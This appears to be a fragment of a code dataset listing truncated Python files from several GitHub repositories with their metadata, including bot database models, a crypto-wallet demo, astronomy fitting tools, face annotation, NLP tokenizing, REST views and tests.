def __init__(self, input_dim, output_dim, truncate_gra... | 38.450237 | 92 | 0.609762 | 7,870 | 0.970048 | 0 | 0 | 0 | 0 | 0 | 0 | 274 | 0.033773 |
9ff112f147fc3eea03cddc2ce893a7da503429c2 | 1,045 | py | Python | emilia/modules/sql/admin_sql.py | masterisira/ELIZA_OF-master | 02a7dbf48e4a3d4ee0981e6a074529ab1497aafe | [
"Unlicense"
] | null | null | null | emilia/modules/sql/admin_sql.py | masterisira/ELIZA_OF-master | 02a7dbf48e4a3d4ee0981e6a074529ab1497aafe | [
"Unlicense"
] | null | null | null | emilia/modules/sql/admin_sql.py | masterisira/ELIZA_OF-master | 02a7dbf48e4a3d4ee0981e6a074529ab1497aafe | [
"Unlicense"
] | null | null | null | import threading
from typing import Union
from sqlalchemy import Column, Integer, String, Boolean
from emilia.modules.sql import SESSION, BASE
class PermanentPin(BASE):
__tablename__ = "permanent_pin"
chat_id = Column(String(14), primary_key=True)
message_id = Column(Integer)
def __init__(self, cha... | 24.302326 | 64 | 0.677512 | 303 | 0.289952 | 0 | 0 | 0 | 0 | 0 | 0 | 41 | 0.039234 |
9ff556e97733100f33310335bf44e3b09364ba15 | 3,985 | py | Python | demo.py | danuker/piggies | 215495689122fc14f9deb40587aaf2f34f526120 | [
"MIT"
] | 5 | 2018-06-05T14:28:32.000Z | 2020-10-28T14:30:03.000Z | demo.py | danuker/piggies | 215495689122fc14f9deb40587aaf2f34f526120 | [
"MIT"
] | 5 | 2018-06-04T09:08:48.000Z | 2018-06-29T17:46:58.000Z | demo.py | danuker/piggies | 215495689122fc14f9deb40587aaf2f34f526120 | [
"MIT"
] | null | null | null | #!/usr/bin/env python3
# Before you can use Piggies, you need actual wallets.
# To fetch and extract the wallet clients, and create wallet files:
# mkdir wallets && cd wallets
#
# wget https://download.electrum.org/3.1.3/Electrum-3.1.3.tar.gz
# tar xvzf Electrum-3.1.3.tar.gz
# cd Electrum-3.1.3/
# mkdir -p ../../data... | 37.242991 | 103 | 0.684065 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2,753 | 0.690841 |
9ff624252765d2c5657956ad0fdec3d525d53544 | 22,024 | py | Python | lcfit_utils.py | idekany/lcfit | 4a0080fca981afe2b8974db8f5d3484c663b6c13 | [
"MIT"
] | null | null | null | lcfit_utils.py | idekany/lcfit | 4a0080fca981afe2b8974db8f5d3484c663b6c13 | [
"MIT"
] | null | null | null | lcfit_utils.py | idekany/lcfit | 4a0080fca981afe2b8974db8f5d3484c663b6c13 | [
"MIT"
] | null | null | null | # -*- coding: utf-8 -*-
import sys
import os
import numpy as np
import fourier as ff
import matplotlib
import warnings
from matplotlib import pyplot as plt
from os.path import isfile
matplotlib.use('Agg')
def warn(*args, **kwargs):
print('WARNING: ', *args, file=sys.stderr, **kwargs)
def fit_validate_model(mod... | 42.517375 | 133 | 0.582047 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 5,534 | 0.251271 |
9ff65d9e76edd0a7d15ce5ca32d68a653fd8c1bc | 2,939 | py | Python | facetool/annotator.py | yliess86/FaceTool | f93c511e9868b4555225750efbac2228a00fea00 | [
"MIT"
] | 4 | 2020-05-03T01:29:23.000Z | 2020-07-15T08:13:05.000Z | facetool/annotator.py | yliess86/FaceTool | f93c511e9868b4555225750efbac2228a00fea00 | [
"MIT"
] | 3 | 2020-04-30T01:18:02.000Z | 2020-05-01T14:52:11.000Z | facetool/annotator.py | yliess86/FaceCrop | f93c511e9868b4555225750efbac2228a00fea00 | [
"MIT"
] | 1 | 2020-05-16T21:27:24.000Z | 2020-05-16T21:27:24.000Z | # -*- coding: utf-8 -*-
"""facetool.annotator
The files provides a Face Annotator in charge of combining the result of the
Face Detector and Face Landmark in a single pandas DataFrame. This Face
Annotator is the API built to be used by the end user.
"""
from facetool.detector import FaceDetector
from facetool.landmar... | 36.7375 | 78 | 0.600204 | 2,504 | 0.85199 | 0 | 0 | 0 | 0 | 0 | 0 | 1,681 | 0.571963 |
9ff7ddf37d375ebc0e9b1af36cfd6f7f85ab8e18 | 1,338 | py | Python | pygrn/problems/air_quality.py | nico1as/pyGRN | 115d9d42dfbd374fc64393cabefb2a8e245aa6b7 | [
"Apache-2.0"
] | 7 | 2018-07-18T16:08:51.000Z | 2020-12-09T07:18:35.000Z | pygrn/problems/air_quality.py | nico1as/pyGRN | 115d9d42dfbd374fc64393cabefb2a8e245aa6b7 | [
"Apache-2.0"
] | 3 | 2018-04-13T11:44:59.000Z | 2018-04-19T13:58:06.000Z | pygrn/problems/air_quality.py | nico1as/pyGRN | 115d9d42dfbd374fc64393cabefb2a8e245aa6b7 | [
"Apache-2.0"
] | 6 | 2018-07-22T01:54:14.000Z | 2021-08-04T16:01:38.000Z | from __future__ import print_function
import numpy as np
import os
from datetime import datetime
from pygrn.problems import TimeRegression
class AirQuality(TimeRegression):
def __init__(self, namestr=datetime.now().isoformat(), learn=True,
epochs=1, root_dir='./', lamarckian=False):
data... | 31.857143 | 77 | 0.595665 | 1,196 | 0.893871 | 0 | 0 | 0 | 0 | 0 | 0 | 57 | 0.042601 |
9ff867269ebc563da12e37b56fdbdcb6807b0b80 | 3,572 | py | Python | vocabulary.py | retrieva/python_stm | 862e63e6f03b326cb036b1136dead280c42b9da8 | [
"MIT"
] | 11 | 2020-02-07T05:26:08.000Z | 2021-11-27T09:51:24.000Z | vocabulary.py | retrieva/python_stm | 862e63e6f03b326cb036b1136dead280c42b9da8 | [
"MIT"
] | null | null | null | vocabulary.py | retrieva/python_stm | 862e63e6f03b326cb036b1136dead280c42b9da8 | [
"MIT"
] | 1 | 2020-02-10T02:44:37.000Z | 2020-02-10T02:44:37.000Z | # This code is available under the MIT License.
# (c)2010-2011 Nakatani Shuyo / Cybozu Labs Inc.
# (c)2018-2019 Hiroki Iida / Retrieva Inc.
import nltk
import re
import MeCab
stopwords_list = nltk.corpus.stopwords.words('english')
recover_list = {"wa":"was", "ha":"has"}
wl = nltk.WordNetLemmatizer()
def load_corpu... | 26.072993 | 79 | 0.56075 | 2,028 | 0.567749 | 0 | 0 | 0 | 0 | 0 | 0 | 385 | 0.107783 |
9ffac072e4010a04d6f1b435f72c2103f99a9533 | 7,664 | py | Python | kubb_match/views/rest.py | BartSaelen/kubb_match | 848663bb3db5da73b726a956aa887c3eec30db8b | [
"Apache-2.0"
] | 2 | 2015-05-03T13:42:27.000Z | 2015-08-07T07:42:29.000Z | kubb_match/views/rest.py | BartSaelen/kubb_match | 848663bb3db5da73b726a956aa887c3eec30db8b | [
"Apache-2.0"
] | 2 | 2016-09-15T12:38:22.000Z | 2016-09-15T12:41:18.000Z | kubb_match/views/rest.py | BartSaelen/kubb_match | 848663bb3db5da73b726a956aa887c3eec30db8b | [
"Apache-2.0"
] | null | null | null | # -*- coding: utf-8 -*-
from pyramid.httpexceptions import HTTPBadRequest, HTTPNotFound
from pyramid.view import view_defaults, view_config
from kubb_match.data.mappers import map_team, map_game
from kubb_match.data.models import Team
from kubb_match.service.tournament_service import TournamentService
class RestView(... | 34.678733 | 87 | 0.579201 | 7,172 | 0.935804 | 0 | 0 | 6,714 | 0.876044 | 0 | 0 | 840 | 0.109603 |
9ffb3711d6a34d1adba73090bd3c202a99a4f456 | 2,651 | py | Python | CTCWordBeamSearch-master/tests/test_word_beam_search.py | brucegrapes/htr | 9f8f07173ccc740dd8a4dfc7e8038abe36664756 | [
"MIT"
] | 488 | 2018-03-01T11:18:26.000Z | 2022-03-10T09:29:32.000Z | CTCWordBeamSearch-master/tests/test_word_beam_search.py | brucegrapes/htr | 9f8f07173ccc740dd8a4dfc7e8038abe36664756 | [
"MIT"
] | 60 | 2018-03-10T18:37:51.000Z | 2022-03-30T19:37:18.000Z | CTCWordBeamSearch-master/tests/test_word_beam_search.py | brucegrapes/htr | 9f8f07173ccc740dd8a4dfc7e8038abe36664756 | [
"MIT"
] | 152 | 2018-03-01T11:18:25.000Z | 2022-03-08T23:37:46.000Z | import codecs
import numpy as np
from word_beam_search import WordBeamSearch
def apply_word_beam_search(mat, corpus, chars, word_chars):
"""Decode using word beam search. Result is tuple, first entry is label string, second entry is char string."""
T, B, C = mat.shape
# decode using the "Words" mode of ... | 35.346667 | 115 | 0.614485 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1,075 | 0.405507 |
9ffdc1e59bb26b37e4cdbdb001abd755fccd616d | 859 | py | Python | src/api/migrations/versions/2021-09-25_add_session_type_and_instructor.py | YACS-RCOS/yacs.n | a04f8e79279826914b942e3a8c709c50f08ff149 | [
"MIT"
] | 20 | 2020-02-29T19:03:31.000Z | 2022-02-18T21:13:12.000Z | src/api/migrations/versions/2021-09-25_add_session_type_and_instructor.py | YACS-RCOS/yacs.n | a04f8e79279826914b942e3a8c709c50f08ff149 | [
"MIT"
] | 465 | 2020-02-29T19:08:18.000Z | 2022-03-18T22:21:49.000Z | src/api/migrations/versions/2021-09-25_add_session_type_and_instructor.py | YACS-RCOS/yacs.n | a04f8e79279826914b942e3a8c709c50f08ff149 | [
"MIT"
] | 19 | 2020-02-29T01:22:23.000Z | 2022-02-14T01:47:09.000Z | """add session type and instructor
Revision ID: 54df4fb8dfe9
Revises: a3be4710680d
Create Date: 2021-09-25 03:08:18.501929
"""
from alembic import op
import sqlalchemy as sa
# revision identifiers, used by Alembic.
revision = '54df4fb8dfe9'
down_revision = 'a3be4710680d'
branch_labels = None
depends_on = None
def... | 27.709677 | 101 | 0.71362 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 494 | 0.575087 |
9ffddf9f2ec970e9ca9b3a8192c022d87d76144d | 1,656 | py | Python | plot_data.py | qzane/kmeans-cuda | f2a0e8dd6859cf735c95e1365342f4623f0a71ff | [
"MIT"
] | null | null | null | plot_data.py | qzane/kmeans-cuda | f2a0e8dd6859cf735c95e1365342f4623f0a71ff | [
"MIT"
] | null | null | null | plot_data.py | qzane/kmeans-cuda | f2a0e8dd6859cf735c95e1365342f4623f0a71ff | [
"MIT"
] | null | null | null | #!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
Created on Tue Nov 27 22:31:17 2018
@author: qzane
"""
import numpy as np
import matplotlib.pyplot as plt
from argparse import ArgumentParser
def read_points(fname):
points = []
with open(fname) as f:
while(1):
tmp = f.readline()
... | 25.090909 | 83 | 0.532609 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 200 | 0.120773 |